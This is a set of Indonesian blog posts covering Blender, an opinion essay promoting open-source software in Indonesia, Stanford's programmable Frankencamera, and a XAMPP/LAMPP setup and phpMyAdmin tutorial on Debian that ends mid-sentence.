Blender

Posted by Bl4ckB0y On 05.45 2 comments

di dalam dunia modelling, kata 3D swift max dan Maya, mungkin sudah tidak asing lagi bagi semua orang. Wajar memang aplikasi ini memiliki kemampuan super canggih yang dibutuhkan oleh para designer untuk membuat sebuah model 3D, dengan cepat dan mudah.Maya misalnya, bagi para penggemar game seperti assasins creed, tentu telah meresakan kehebatan maya dalam menciptakan virtual reality dalam dunia game. Sedangkan 3D swift max, setahu penulis banyak digunkan untuk pembuatan film animasi.

Akan tetapi terdapat dua kelemahan yang mendasar bagi kedua software tersebut, yang pertama harganya yang tentu tidak free (sangat mahal) plus tidak open source. Wajar memang dengan tingkat kehebatan seperti itu, tentu sasaran konsumen maya tentulah orang-orang modeller kelas atas yang memilki kantong tebal.

Lalu bagaimana solusinya sengan mereka yang ingin menjadi designer akan tetapi tidak perlu harus membayar mahal, solusinya adalah memakai free software. Dan yang menjadi jawaban dari para pecinta design adalah blender. Lebih dari itu blender juga merupakan software yang open source dibawah lisensi GPL. Yang artinya bagi para programmer lokal yang hebat dalam melakukan coding, dapat berperan aktif dalam pengembangan aplikasi ini.

Blender dibuat oleh Ton Roosendaal, yang sekaligus menjadi ketua yayasan Blender Foundation, ada kabar kalau beliau mendapat sebuah penghargaan gelar Doctor Honoris Causa dari Leeds Metropolitan University.

Walaupun gratis bukan berarti murahan, Blender memiliki seabrek kelebihan yang tidak kalah hebat dengan Maya atau 3DS Max. untuk para designer lokal fitur-fitur blender sudah lebih dari mencukupi, dengan belnder kita bisa membuat sebuah design karakter game, sampai animasi film 3D. Buktinya du film animasi karya bapak Ton , yaitu Elephants Dream dan Big Buck Bunny, memilki design animasi yang cukup wah. Selain itu game yo Frankie, yang merupakan game besutan tim blender Foundation juga dibuat dengan menggunakan blender. Dan yang menarik lagi dari game ini, ia juga Free Open Source Software yang berarti free dan source code-nya bisa didownload dan diubah dibawah lisensi GPL.

Blender tersedia dalam berbagai platform, baik Windows, Linux, BSD dan Macintosh yang semuanya bisa didownload di www.blender.org. Selain di official website di terdapat banyak pula mirror baik di luar negeri maupun di dalam negeri. Salah satunya di kambing.ui.ac.id.

Bagi yang merasa tertarik dan ingin berblender ria, bisa mendapatkan tutorial di http://blenderindonesia.org. Situs ini menyediakan artikel dan tutorial mengenai blender secara lengkap dan bebas untuk diunduh. Situs ini juga telah menerbitkan sebuah majalah tentang blender. Bisa di download di di mirror ziddu atau blender indonesia

Open Source, sering sekali kita mendengar kata ini, sebenarnya apa sih open source itu ? untuk apa dibuat ? Siapa pembuatnya ? Dan bagaimana open source itu ?. Bagi sebagian orang terkadang masih belum mengerti apa sebenarnya open source itu, apalagi bagi mereka yang tidak memiliki background IT, tentu akan keliru dalam mengartikan apa itu open source.

Istilah open source, diperkenalkan oleh Richard Matthew Stallman (beliau lahir 16 maret 1953 di mahattan, Amerika). Awalnya beliau membuat sebuah project dengan nama GNU Project, yang mana dalam project ini beliau mencoba membuat sebuah Operating System mirip UNIX, lengkap dan bebas. Sebagai kelanjutan dari GNU project, tahun 1989 beliau membuat sebuah lisensi turunan Copyright, yang dinamakan dengan Copyleft. Dalam Copyleft terdapat empat unsur dasar yaitu , bebas menjalankan program, bebas mempelajari dan mengadaptasi program sesuai kebutuhan, bebas medistribusikan ulang, dan bebas meningkatkan program dan mendistribusikanya. Copyleft diharapkan bisa memberikan kebebasan bagi setiap orang untuk mengembangkan, mendistribusikan, mengubah dan meningkatkan kemampuan software tanpa harus berurusan dengan lisensi.


Banyak orang awam yang menyamakan Open Source dengan freeware (Software gratis). Padahal keduanya sangat berbeda. Open Source adalah sebuah software yang source code-nya, dipublikasikan secara bebas kepada khalayak umum dibawah lisensi GPL, yang mana setiap orang bebas untuk mengembangkan, mengubah, memanipulasi dan mepublikasikan ulang source code tersebut tanpa perlu berurusan dengan masalah hak cipta, dengan kode etik tertentu. Lawan dari Open Source adalah Close Source, yaitu sebuah software yang source code-nya tidak dipublikasikan kepada khalayak umum. Sedangkan Freeware adalah sebuah software yang disebarluaskan dalam bentuk binary (hasil compile), dan untuk memakainya tidak dipungut biaya apapun atau gratis. Lawan dari Freeware adalah Shareware, yang mana untuk memakai software tersebut dikenakan sejumlah biaya untuk membayar developernya. Sehingga sebuah Freeware dan Shareware bisa menjadi Open Source atau Close Source.


Yang akan penulis ulas di sini adalah sebuah Freeware yang Open Source, atau lebih dikenal dengan sebuat Free Open Source Software (FOSS). Kebanyakan orang menyingkat Free Open Source Software dengan Open Source saja. Oleh sebab itu, dalam tulisan ini software Open Source yang dimaksud adalah Free Open Source Software.


Kelebihan dari FOSS, selain karena free tentu saja karena sifatnya yang open . Sifatnya yang free memberikan kebebasan bagi siapa saja untuk memakai tanpa perlu membayar, ditambah dengan sifat open, yang mana memberikan keleluasaan bagi siapapun dan dimanapun, baik itu programmer tingkat tinggi maupun newbie, untuk memberikan konstribusinya secara bebas, bagi perkembangan software tersebut. Tentu saja untuk ikut serta dalam melakukan pengembangan sebuah FOSS terdapat kode etik yang harus dipatuhi.


Kelebihan dari FOSS tersebut, bukan berarti tanpa kelemahan. Karena FOSS bisa dikembangkan oleh siapa saja, maka untuk melakukan control versi sebuah source code akan menjadi lebih sulit. Hal terburuk yang bisa saja terjadi karena masalah ini adalah jika seandainya source code yang sejatinya digunakan untuk tujuan yang bermanfaat, diubah oleh orang yang tidak bertanggung jawab untuk kepentinganya sendiri, sehingga menimbulkan kerugian jika dipakai oleh orang lain. Salah satu contohnya adalah kasus seorang hacker yang menambahkan sebuah script Trojan pada installer Joomla, yang mana script tersebut akan mengirimkan cookie kepada sang hacker melalui layanan e-mail jika diinstall pada sebuah komputer, dengan cara ini sang hacker bisa mencuri data-data pribadi korban. Tidak adanya garansi maupun dukungan teknis mengenai kualitas dari software yang dihasilkan juga merupakan masalah dalam FOSS. Ketersediaan dana yang terbatas bagi para developernya menjadi masalah yang paling serius, karena bisa menghambat pertumbuhan FOSS. Hal ini disebabkan karena sebagian besar developer software FOSS adalah para pihak swasta yang melakukan developing software dengan dana mereka sendiri, sedangkan saat software tersebut dilaunching tidak sepeser pun uang yang didapat dari para user atas hasil jerih payah mereka. Dalam keadaan seperti ini bantuan dari para donatur sangat diharapkan, agar perkembangan software tersebut dapat terus dilanjutkan.

Banyak orang saat ini memilih software FOSS sebagai landasan untuk software yang mereka pakai (user) atau yang mereka buat (developer), tapi tidak sedikit pula yang tetap bertahan pada software Propietary. Alasan developer memilih FOSS karena sifatnya yang open, yang memberikan sebuah nilai filosofi tersendiri. Bagi mereka, source code adalah sebuah kode matematika, dan tidak seharusnya matematika tersebut ditutup-tutupi, tetapi harus disebarluaskan agar setiap orang bisa memakai dan mengembangkan secara bebas untuk kepentingan bersama. Ini dilakukan demi kebaikan source code itu sendiri, karena dengan memberikan kesempatan seluas-luasnya bagi siapa saja untuk turut serta pengembangan, tentu akan membuat source code tersebut menjadi lebih baik dalam waktu yang relative lebih cepat, karena ditangani oleh banyak orang. Selain itu, open source juga memberikan konstribusi untuk memompa kreativitas semua orang, sehingga memiliki andil dalam bidang edukasi. Sedangkan bagi developer yang menolak FOSS, mereka beralasan untuk menghormati para pembuat source code tersebut. Sehingga hasil jerih payah mereka tidak dipakai orang seenaknya tanpa memberikan imbalan sepeser pun, bagi orang yang telah bersusah payah membuatnya. Dengan demikian Open Source bisa dikatakan tidak menghargai hasil kerja keras para developer. Lain halnya dengan para user, mereka yang memakai software FOSS, lebih tertarik pada sifatnya yang free, sehingga tidak perlu megeluarkan dana untuk memakainya. Selain itu juga membebaskan mereka dari jerat hukum karena masalah lisensi. Sedangkan alasan mereka yang lebih senang membeli software proprietary, karena beranggapan bahwa software proprietary memiliki dukungan after sale yang bagus, user friendly, mudah dipakai, kualitasnya terjamin, lengkap, dan mampu menjawab semua kebutuhan mulai dari komputer desktop, server, sampai tingkat enterprise sehingga memberikan kemudahan bagi para pemakainya saat menemui masalah dengan software tersebut.


Terlepas dari masalah perbedaan sudut pandang yang penulis kemukaan diatas, saat ini open source telah dan berkembang pesat dan berhasil menjawab hampir seluruhnya tantangan kebutuhan para penggunanya. Linux misalnya, dahulu merupakan sebuah OS yang ditakuti oleh para user awam karena tampilanya text base, sulit dioperasikan dan hanya cocok untuk komputer server. Sekarang hampir seluruh kebutuhan komputasi, mulai desktop, server sampai tingkat enterprise bisa ditangani. Saat ini Linux datang dengan tampilan yang lebih memukau dan user friendly, serta kebutuhan resource yang lebih hemat. Sebagai bukti, Project Berryl yang menjadi andalan dalam GUI Linux, berhasil mengalahkan tampilan aero Windows Vista, baik dari sisi resource maupun keindahan tampilanya. Blender menjadi solusi 3D animation, yang mencoba menggulingkan pasar 3DS Max. Gimp yang menantang Photoshop, OpenOffice.org yang membabat dominasi Microsoft Office, dan Java yang menjadi bahasa pemrograman terlaris di dunia, mengalahkan C#.Net. kesemuanya itu merupakan bukti keberhasilan Open Source. Dengan perkembangan kemampuan yang sepeti itu, tidak ada alasan untuk tidak mencoba dan belajar software Open Source.

Berryl

Aero

Di Indonesia banyak sekali lembaga baik milik pemerintah maupun swasta yang turut serta memajukan semangat open source. Mulai dari munculnya komunitas-komunitas open source sampai diadakanya seminar dan workshop mengenai open source. Seminar dan workshop itu pun bermacam-macam, mulai dari sekedar pelatihan, pengenalan dan migrasi, sampai bagian rumit yang membutuhkan keahlian khusus untuk memahami hal tersebut (setting jaringan misalnya). Selain itu sosialisasi masalah open source mulai digencar-gencarkan dimana-mana, foto-foto penguin (logo Linux) dan setan merah (logo FreeBSD) terpasang disetiap sudut jalan, banyak tokoh-tokoh pendukung FOSS di Indonesia, seperti bapak Onno W. Purbo, juga mengadakan seminar dan workshop di sekolah-sekolah dan kampus-kampus secara gratis. Pemerintah sendiri saat ini sudah mengembangkan sebuah distro yang digunakan untuk memajukan Open Source di Indonesia. Distro tersebut adalah IGOS nusantara, dengan semboyan Indonesia Go Open Source.


Namun terdapat hal yang perlu disayangkan, perjuangan mereka yang memajukan FOSS dengan tujuan memajukan pendidikan dan kemandirian bangsa, dipandang sebelah mata oleh sebagian orang. Pola pikir masyarakat Indonesia yang masih mementingkan gengsi, sikap manja, budaya yang konsumtif serta pandangan yang mengatakan bahwa software proprietary pasti lebih baik, membuat perjuangan mereka sedikit tersendat. Ditambah dengan kurikulum di sekolah dan kampus yang masih bergantung pada software proprietary malah semakin memperburuk keadaan.


Beberapa tahun yang lalu penulis sempat mendengar kabar, bahwa para anggota legislative akan dibelikan sebuah notebook seharga kira-kira 20 juta, plus OS dan software pendukung seharga sekitar dari 5 juta tiap orang (25 juta per orang mungkin pakai mesin Apple dan OS MacOS). Entah memang segitulah harga notebook tersebut atau ada maksud lain dari penganggaran tersebut penulis tidak tahu. Namun yang pasti, notebook semahal itu tentu menggunakan spesifikasi hardware yang canggih lagi mahal, didukung dengan software proprietary yang tidak kalah mahalnya. Inilah pola pikir bangsa Indonesia saat ini yang masih menganggap bahwa yang berbayar pasti lebih baik. Jika dipikir lebih mendalam, tentu hal ini tidak tepat sasaran, karena kebutuhan seorang anggota legislative hanya untuk mengetik, chatting, atau browsing. Notebook seharga 4 juta, tentu sudah mencukupi.

Selain hal tersebut, kabarnya pemerintah juga akan mengadakan hubungan kerjasama dengan Microsoft Indonesia mengenai masalah diskon pembelian produk dari Microsoft. Produk-produk tersebut nantinya akan dipakai pada instansi pemerintahan terutama yang berlokasi di daerah-daerah. Dengan jumlah instansi Indonesia yang sangat besar dan tersebar dimana-mana, tentu akan sangat besar pula jumlah produk yang nantinya bakal dibeli oleh pemerintah dari Microsoft. Jika nilainya diakumulasikan, tentu tidak sedikit uang yang harus dikeluarkan negara.


Pada instansi pendidikan seperti kampus dan sekolah pun, juga masih memandang sebelah mata software Open Source. Ketergantungan instansi tersebut pada software proprietary masih sangat tinggi. Sebagai bukti penulis pernah melihat sekolah SMA yang memberikan sertifikat lulus Microsoft Word (maaf bukan maksud penulis menjelek-jelekan salah satu produk), tapi tidak pernah ada sertifikat lulus OpenOffice.org Writer, padahal untuk membeli satu set Microsoft Office tidak sedikit uang yang harus dikeluarkan pihak sekolah. Parahnya lagi, ada beberapa pihak sekolah yang justru menggunakan software bajakan untuk dipergunakan dalam proses belajar mengajar, hal ini tentu mencoreng nama baik instansi pendidikan. Di lingkungan kampus, hal serupa juga terjadi, penulis menjumpai sebuah PTN yang mengadakan hubungan kerja sama dengan Microsoft yang lebih dikenal dengan Microsoft Campus Agreements. Tentu saja disana terdapat sejumlah uang yang harus dikeluarkan pihak kampus untuk membayar lisensi software-software tersebut. Ini dilakukan pihak kampus agar para mahasiswanya tidak menggunakan software bajakan, menyusul aturan pemerintah yang mensahkan UU ITE dan HaKI. Padahal, hal ini justru akan memanjakan para mahasiswanya untuk semakin tergantung pada software proprietary.


Dalam masyarakat sendiri, keberadaan Open Source hanya menjangkau sebagian orang. Sedangkan yang lain masih memilih bertahan untuk menggunakan software proprietary daripada Open Source (lihat saja di warnet-warnet, OS apa yang dipakai ?). Mereka beralasan tidak biasa dalam menggunakan Open Source dan tidak siap jika harus berpindah secara serentak dari software proprietary ke Open Source. Masyarakat dengan tingkat ekonomi menengah keatas, mungkin tidak masalah jika harus membeli lisensinya, tapi bagi mereka dengan tingkat ekonomi lemah, tentu tidak sanggup untuk membeli, sehingga jalan pintas yang ditempuh adalah dengan melakukan pembajakan software.


Melihat hal yang saling bertolak belakang ini, tentu sangat ironis. Di satu sisi, sebagian kelompok berusaha memajukan FOSS di Indonesia, sedangkan di sisi lain banyak pihak tertentu yang masih bergantung pada Software proprietary. Jika ditelusuri lebih mendalam, inti permasalahanya adalah ketidakmauan kita untuk belajar menggunakan Open Source, padahal - seperti yang dikatakan penulis sebelumnya- melihat perkembangan open source saat ini, tidak ada alasan untuk tidak mencoba dan mempelajari Open Source. Kebanyakan dari kita terlalu manja, sehingga terus-menerus bergantung pada software proprietary. Pandangan lama mengenai Open Source agaknya sudah mengakar kuat.


Lalu bagaimana solusinya ? ini adalah pertanyaan tersulit yang untuk menjawabnya harus dilihat dari berbagai sudut pandang. Penulis tidak dapat memberikan solusi apapun dari permasalahan diatas, semuanya berpulang pada individu masing-masing. penulis hanya mengajak dan mengemukakan pendapat semata.


Mari kira berfikir mendalam, dan lebih mendalam lagi. Bayangkan jika anggota legislative Indonesia tersebut jadi untuk membeli notebook yang dianggarkan tersebut. Dengan jumlah anggota legislative sebanyak 200 orang misalnya, jika dihitung secara kasar, artinya Negara mengeluarkan 200*25 juta = 5 Milyar. Bandingkan jika para anggota legislatif tersebut membeli computer sesuai kebutuhan seharga 4 juta untuk hardware dan memakai software Open Source (FOSS) yang artinya gratis, berarti Negara mengeluarkan 4 juta * 200 = 800 juta, atau ada sekitar 4,2 Milyar yang terselamatkan. Itu salah satu contoh pada kasus pembelian notebook para anggota legistalif. sekarang bayangkan jika kita tidak lagi bergantung pada Software proprietary, jika kampus tidak lagi mengadakan MCA dengan Microsoft, jika institusi pendidikan tidak lagi menggunakan software bajakan , jika warnet-warnet tidak lagi menggunakan OS bajakan, maka akan sangat besar keuntungan yang didapat oleh Indonesia, tidak hanya dari sisi keuangan negara dan masyarakat, tapi pemerintah juga tidak perlu bersusah payah melakukan razia-razia karena pelanggaran HaKI dan UU ITE.


Lebih dari itu, jika setiap individu bisa mengikuti harapan para pendiri Open Source (yang mana memberikan kesempatan seluas-luasnya bagi siapapun secara gratis untuk mengembangkan software yang dibuat) maka mungkin tidak ada lagi pembajakan, tidak ada lagi para virus maker (karena semua orang sibuk untuk berlomba-lomba turut serta mengembangkan system tersebut), kreativitas setiap orang terpacu untuk turut serta mengembangkan software sehingga software akan semakin bagus karena benar-benar dikembangkan oleh semua orang di dunia, Hacker tidak lagi menggunakan kemampuanya untuk melakukan hal negative karena kemampuan lebih mereka tersalurkan untuk hal yang positif, sehingga pada giliranya mereka yang memiliki kemampuan lebih di bidang IT dan telah berjasa dalam mengembangkan sebuah software, akan mendapatkan penghargaan yang layak dari para pengguna software tersebut, sehingga apa yang ditakutkan mereka yang pro pada Software Propietary (yaitu takut pembuat software tidak mendapat imbalan dan kehabisan dana untuk pengembangan software ) akan menjadi tidak beralasan.


Harapan penulis, di masa mendatang pemerintah lebih serius lagi dalam menangani pertumbuhan Open Source di Indonesia, baik dengan mengadakan seminar dan workshop secara gratis atau dengan membantu pihak-pihak swasta seperti komunitas dan forum-forum open source, yang mana mereka dengan rela hati tanpa dibayar, memberikan seminar dan workshop pada masyarakat umum untuk menggunakan Open Source. Lebih-lebih bisa melakukan migrasi secara serentak dari software proprietary ke software open source pada berbagai elemen negara seperti instansi pemerintahan dan pendidikan. Lebih baik lagi jika kurikulum mata pelajaran IT di sekolah-sekolah, diubah dari berbasis software proprietary seperti saat ini, menjadi berbasis software OpenSource. Sehingga mendidik siswa untuk berkreasi dengan OpenSource (karena Open Source menuntut kita untuk semakin kreatif dalam mengembangkan sebuah source code) dan menghindari bahaya laten pembajakan (yang dapat membentuk pola pikir siswa untuk menggunakan software bajakan sehingga merugikan martabat bangsa).

Sebagai penutup, segala yang ditulis di sini hanyalah pendapat penulis sendiri, pembaca boleh setuju dan boleh tidak. Penulis hanya mengajak agar pembaca sadar dan membuka pikiran tantang Open Source, sehingga cara pandang lama terhadap Open Source bisa berubah. Namun semua itu berpulang pada individu masing-masing. Tulisan ini dibuat untuk menyukseskan Lomba Blog Open Source P2I-LIPI dan Seminar Open Source P2I-LIPI 2009. Bukan untuk merugikan satu pihak dan memberi keuntungan pihak lain. Let’s Go Open Source, Indonesia !!!

Camera Open Source

Posted by Bl4ckB0y On 22.10 0 comments


kalau software open source, mungkin sudah tidak asing lagi ditelinga, tapi kalau hardware open source. Mungkin asing, dan memang benar-benar barang asing. Tapi hal inilah yang terjadi. Adalah Andrew Adams dan Marc Levoy, mahasiswa dan Profesor di jurusan ilmu komputer di Stanford menciptakan kamera pertama yang dapat diprogram sehingga memungkinkan sebuah kamera tidak dibatasi lagi oleh software-software bawaan dari vendor kamera tertentu.


Camera tersebut diberi nama frankencamera, dibuat dengan sistem opoerasi linux. Karena sifatnya yang open source, kamera ini bisa diisi sendiri algoritma pemrosesan gambarnya oleh para programmer. Bayangkan jika terdapat ratusan ribu programmer di dunia ini, dan semuanya bekerja secara bersama-sama untuk mengoptimalkan algoritma pemrosesan gambar di kamera tersebut, mungin camera Canon maupun Nikon bisa dikalahkan oleh kamera ini.
Tujuan dari proyek ini adalah untuk membangun kamera berplatform open source sehingga setiap individu di dunia ini bisa berpartisipasi dalam pengembangan kamera, yang tentunya pengembangan di sisi software (algoritma pemrosesan gambar). Sehingga lama-kalamaan akan tercipta sebuah komunitas, dimana user tidak lagi dibatasi oleh software bawaan vendor.
Kamera open source ini sendiri terdiri dari modul kamera ponsel Nokia N95, papan rangkaian elektronik (circuit board), sepasang lensa dari Canon. Dijuluki Frankencamera, karena desainnya yang masih terlihat buruk, karena masih menggunakan bodi kamera yang sudah tidak terpakai.
Secara virtual, seluruh fitur dari kamera, baik fokus, bukaan, kecepatan lensa, lampu kilat, semuanya dikendalikan oleh software yang bisa diprogram oleh pemilik kamera. Tak hanya itu, platform open source juga memungkinkan pengguna kamera dSLR ini melakukan pilihan kustomisasi yang lengkap.
Misalnya saja, mereka bisa melakukan penyetelan teknik high dynamic range (HDR) atau teknik yang mengkombinasikan gambar suatu obyek dari kondisi cahaya yang paling terang, hingga ke yang paling gelap. Di saat yang sama, mereka juga membuat agar kamera video bisa mengabadikan rekaman video beresolusi tinggi.
Dengan sebuah algoritma tertentu, kamera yang hanya memiliki kemampuan. merekam video berkecapatan 30 frame per detik (fps), akan dikombinasikan dengan hasil jepretan gambar kamera still secara periodik, ke dalam frame rekaman video tersebut.
Seperti layaknya sebuah komputer, kamera ini juga dapat terkoneksi dengan internet. Andrew bercita-cita, nantinya program-program yang khusus dibuat untuk kamera ini bisa diakses dan digunakan oleh banyak orang, seperti orang-orang mengakses aplikasi-aplikasi iPhone di App Store.
Dalam tempo setahun kedua peneliti berharap mereka bisa memperkenalkan platform ini dengan biaya minimum kepada semua orang, dengan harga yang terjangkau. Levoy mengharapkan adanya penyandang dana yang memproduksi dalam jumlah besar, dengan harga kurang dari US$1000 atau sekitar Rp 10 juta. Tapi kalau untuk budget Rp. 10 juta bagi orang indonesia kamera ini masih terlalu mahal. Sehingga untuk saat ini lebih baik pakai kamera buatan vendor yang sudah ada saja, dan kita tunggu versi finalnya nanti yang mungkin lebih bersahabat untuk kantong orang indonesia.

Belajar Xampp

Posted by Bl4ckB0y On 19.58 0 comments

Xampp
in Linux (Lampp)





Dalam pembuatan Aplikasi Web
membutuhkan web server dengan konfigurasi yang kadang-kadang
membingungkan bagi pemula. Untuk membantu para pemula maka dibutuhkan
sebuah tool yang sederhana namun powerfull dalam membuat sebuah web
server lengkap beserta database mySQL, dan PHP-nya. salah satu tool
tersebut adalah Xammp, ada dua Installer pada Xampp, Windows dan
Linux. tutorial kali ini akan membahas cara konfigurasi Xammp baik
pada sistem operasi berbasiskan Linux





Xampp adalah sebuah produk server
Apache, FTP dan sekaligus MySQL open source yang


bebas dipakai oleh siapapun secara
gratis dan dikembangkan oleh siapapun dibawah


lisensi GPL. dengan demikian Xampp
adalah Free Open Source Software.





tutorial menggunakan Linux Debian Lenny
dan xammp versi 1.7, namun seharusnya dapat di terapkan pada semua
versi linux dan xammp tanpa masalah :


1. pertama download source codenya .
source codenya akan berupa file archive


berekstensi tar.gz atau .bz2.


2. setelah file di download, anggaplah
file terletak pada direktori home/user/ pertama copikan file tersebut
ke direktori /opt untuk melakukanya anda perlu menggunakan hak root
untuk itu buka terminal (menu-terminal atau menu-konsole).





#sudo bash


# <masukan password anda>


#cp /home/user/xammp-linux-1.7.tar.gz
/opt/xammp-linux-1.7.tar.gz





masuk ke direktori /opt dan extrack
file xammp-linux-1.7.tar.gz yang baru di download


#cd /opt/


# tar xzvf xammp-linux-1.7.tar.gz





tunggu beberapa saat sampai proses
selesai, saat sudah selesai masuk ke direktori lammp


#cd lammp





dan jalankan lammp dan lihat prosesnya


#./lammp start


Starting XAMPP for Linux 1.7...


XAMPP: Starting Apache with SSL (and
PHP5)...


XAMPP: Starting MySQL...


XAMPP: Starting ProFTPD...


XAMPP for Linux started.





jika anda mendapati yang sama persis
seperti diatas maka anda telah berhasil, menghidupkan server apache,
mysql dan PHP. namun jika anda mendapati yang seperti ini :





Starting XAMPP for Linux 1.7...


XAMPP: Another web server daemon is
already running. ---> Apache????


XAMPP: Starting MySQL...


XAMPP: Starting ProFTPD...


XAMPP for Linux started.





pesan XAMPP: Another web server daemon
is already running menandakan ada server apache lain yang mungkin
sedang running di dalam komputer anda. untuk itu anda harus
mematikanya dahulu. ini bisa saja terjadi baik pada apache2, MySQL
maupun ProFTPD-nya. untuk mematikanya ketikan berikut ini :


#ps -A | grep apache && ps -A |
grep mysql && ps -A | grep ProFTPD


8142 ? 00:00:00 apache2


8145 ? 00:00:00 apache2


8146 ? 00:00:00 apache2


8147 ? 00:00:00 apache2


8148 ? 00:00:00 apache2


8149 ? 00:00:00 apache2





itu adalah hasil dikomputer saya dan
bisa berbeda di komputer anda :


anda harus mematikan semua proses
daemon tersebut :


# kill 8142 ---> pilih yang paling
atas,karena biasanya adalah induk proses





lakukan cek sekali lagi dengan
mengetikan


#ps -A | grep apache && ps -A |
grep mysql && ps -A | grep ProFTPD


jika, masih ada maka lakukan kill lagi
hingga semua yang ada mati.








jika sudah kita matikan lagi lammpnya


#./lammp stop


Stopping XAMPP for Linux 1.7...


XAMPP: XAMPP-Apache is not running.
---> karena tadi tidak running


XAMPP: Stopping MySQL...


XAMPP: Stopping ProFTPD...


XAMPP stopped.





dan jalankan lagi lammpnya


#./lammp start


Starting XAMPP for Linux 1.7...


XAMPP: Starting Apache with SSL (and
PHP5)...


XAMPP: Starting MySQL...


XAMPP: Starting ProFTPD...


XAMPP for Linux started.





jika sudah berhasil bukalah browser
anda (opera atau firefox) dan tuliskan


pada address bar





"http://localhost/" atau
"http://127.0.0.1/" (tanpa tanda petik dua) lalu tekan
enter





hasilnya akan seperti gambar1,

jika
masih gagal berarti setting browser anda yang mungkin perlu
dikonfigurasi. untuk opera pada menubar pilih tools-> preferrence
pada dialog box yang muncul pilih tab advance, kemudian pindahkan ke
sub bagian pilih network dan pilih proxy Servers, akan muncul lagi
sebuah dialog box. hilangkan centang pada opsi "Use proxy for
local servers" bila perlu centagi pula "do not use proxy on
the addresses below"


dan tambahkan "localhost,
127.0.0.1" (lihat gambar2)




sedangkan firefox pilih
edit->preferrence dan pada tab network pilih settings dan pilih
opsi "no proxy". dan coba lagi.





<Buat konfigurasi untuk database>





====Utak-Atik Databasase Lammp ===


setelah berhasil masuk dalam web server
Xamp atau Lammp,


untuk melihat demo, setting dan help
pada Xampp masukan


http://localhost/xampp/


akan anda temui tampilan seperti
gambar1


perhatikan pada bagian navigasi,
terdapat 3 bagian utama, XAMMP yang berisi


help dan dokumentasi dari Xampp (untuk
membukanya dibuthkan koneksi internet)


Demos yang merupakan demonstrasi dari
Xammp dan Tools yang menyimpan konfigurasi dari Xammp.


pada bagian demo anda dapat mencoba
sendiri demonstrasi Xammp, yang menjadi fokus adalah pada bagian
phpMyAdmin, phpSQLiteadmin, weblizer dibawah menu Tools





1. weblizer berguna untuk menganalisa
pengunjung web anda, mulai dari berapa orang yang masuk, hit rate web
anda dan berapa pengguna yang


aktif dalam web anda


2. phpSQLiteAdmin berguna untuk
menambahkan user atau group yang menjadi administrator bagi database
anda. disini anda dapat membuat tabel baru mengenai hak akses.
gambar4







3. phpMyAdmin, ini merupakan bagian
terpenting dari Xampp, disini anda bisa menambah, menghapus tabel
atau field mengatur konfigurasi dari tiap database dan field dan
lain-lain, (gambar5), disini anda dapat melakukan konfigurasi
database, memnambah database, melakukan query database, mengubah
struktur database, dll








phpMyAdmin


1. membuat database baru : setelah
berada pada phpMyAdmin, pilih pada tab Database. terdapat beberapa
Database bawaan Xampp sebagai contoh. pada bagian bawah, akan
terlihat sebuah input field yang untuk membuat database, masukan nama
pada kotak tersebut dan pilih collation pada


kotak disampingnya. klik button create.


2. anda akan dibawa pada struktur
database dari database yang baru anda buat


tadi.karena masih kosong, buatlah
sebuah table baru. masukan namanya dan masukan pula jumlah field atau
kolom dari database anda (jika suatu saat anda berniat mengganti
jumlah kolom, dapat dilakukan dikemudian hari). klik go


3. selanjutnya anda akan dibawa pada
struktur tabel yang baru anda buat. masukan nama kolom pada field,
pilih tipe datanya pada type, kemudian tentukan panjang dari data
yang baru anda masukan typenya pada Lenght/Values, yang perlu
diperhatikan jika type data yang anda pilih adalah set atau enum
(enumerasi) masukan panjangnya adalah char 'a','b','c' dan
seterusnya. keterangan dapat dilihat pada bagian bawah. pada bagian
default anda dapat menentukan default nilainya jika suatu saat kolom
ini kosong, untuk sementara biarkan pada None saja. pada bagian
Collation pilih armscii8_bin, pada opsi NULL, jika anda mengizinkan
data diberi isi kosong, maka centagi pada kolom yang anda izinkan
untuk kosong.


4. dibagian index pilih salah satu dari
kolom sebagai Primarykeynya, yang perlu diperhatikan Primary Key
tidak boleh NULL sehingga jika kolom primary anda set NULL akan
terjadi eror saat penyimpanan. sedangkan yang lainya biarkan apa
adanya. dibagian Comment adalah opsional anda boleh isi atau tidak,
sedangkan MIME type pilih text/plain untuk semua kolom. gambar6





5. tekan tombol save dibagian kanan
bawah. jika berhasil anda akan dibawa ke bagian struktural tabel,
disana juga akan ditunjukan kode SQL-nya saat pembuatan tabel
tersebut, selain itu ditampilkan pula informasi tantang tabel anda.
disini juga terdapat opsi untuk menambah atau membuag kolom baru pada
tabel, baik melalui Wizard seperti yang kita lakukan tadi, atau
melalui link EDIT yang akan membebaskan anda untuk membuat dengan
tabel memakai


bahasa SQL. gambar7








mengisi data pada tabel :


1. setelah membuat sebuah database
dengan sebuah tabel dilamnya anda dapat mengisikan data, pada tabel.
perlu diketahui ada 2 cara untuk memasukan data, melalui PHP (lihat
pada bagian Demos, CD Collection, masukan tabel data sembarang dan
lihatlah menggunakan phpMyAdmin, data yang dimasukan dengan web akan
sama dengan data yang ada di phpMyAdmin ).


2. untuk menambah data tabel dengan
PHP, anda harus membuat html dan php sendiri, untuk hal ini tidak
akan di bahas disini. sedangkan untuk menambah data pada tabel dari
phpMyAdmin, masuklah ke bagian Database.


3. cari database yang baru kita buat
tadi, dan anda akan dibawa masuk dalam struktur database, anda akan
disajikan info mengenai tabel apa saja yang ada


dalam database tersebut, klik icon
insert pada kolom action (gambar8).



4. masukan data pada bagian value,
sedangkan pada bagian Function biarkan kosong. dibawahnya terdapat
input yang sama pada bagian atas namun dengan tambahan opsi ignore
diatasnya. jika anda ingin memasukan data 2 sekaligus hilangkan
centangnya dan masukan valuenya seperti sebelumnya. jika anda ingin
memasukan data dalam jumlah besar sekaligus, perhatikan sebuah combo
box dibaian bawah, yang bertuliskan "Restart insertion With".
pilih sesukan anda jumlah masukan dalam satu sesi. tapi jangan lupa
hilangkan centang ignore pada tiap input.


5. klik tombol go pada tiap input,
hanya akan menambahkan 1 record saja, khusus untuk menambahkan semua
record klik tombol go pada bagian yang paling bawah di dalam opsi.
perlu diperhatikan, jika setelah ini anda ingin menambah lagi pada
bagain combobox "and then" pastikan akan tetapi jika anda
ingin menambah lagi setelah ini, agar hemat waktu pilih opsi "Insert
another new row " terpilih, selanjutnya klik Go.


6. data akan dimasukan dan anda akan
diberi informasi tentang data sukses tidaknya pemasukan data
tersebut. jika sebelumnya anda memilih opsi pada combobox "and
then" adalah "Insert another new row" maka anda akan
dibawa pada tab insert lagi. jika tidak anda akan dibawa pada
struktur tabel , dapat dilihat data anda telah masuk disana jika anda
pilih tab browse


<hapus, tambah, isi dll>





<membuat web sendiri>


untuk membuat web sendiri, silakan
